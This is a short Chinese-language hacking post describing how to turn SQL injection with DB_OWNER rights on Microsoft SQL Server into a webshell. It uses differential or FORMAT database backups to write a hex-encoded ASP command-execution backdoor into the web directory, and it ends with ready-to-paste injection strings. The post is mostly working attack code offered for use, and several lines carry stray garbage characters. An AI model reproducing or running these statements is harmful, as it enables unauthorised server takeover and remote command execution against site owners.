DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
1 @$ i2 |, p( v7 g+ c6 |& v( I; X" l
2 d& a. G( {* J% Z2 i/ j一利用差异备份
" w0 @5 g# ^3 y3 T1 U加一个参数WITH DIFFERENTIAL
! t% b1 h2 u1 A! f' }" x, }
3 g* V# a/ ^2 g2 a6 qdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
& F& K+ A6 `: Q0 Xcreate table [dbo].[xiaolu] ([cmd] [image]);
, U& _- V0 p' U! H3 y7 `% F& h: winsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
" [/ D! E7 a7 s6 _加一个参数WITH FROMAT
! ^; O2 T9 l* i% v有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

- Y" _! c, ]6 `9 _1 ndeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
7 a8 j" J9 _+ h2 s" n/ y$ x6 C9 Adeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)
' G& ?! E% O  E8 S
id=1;backup database model to disk=’你的路径‘ with differential,format;–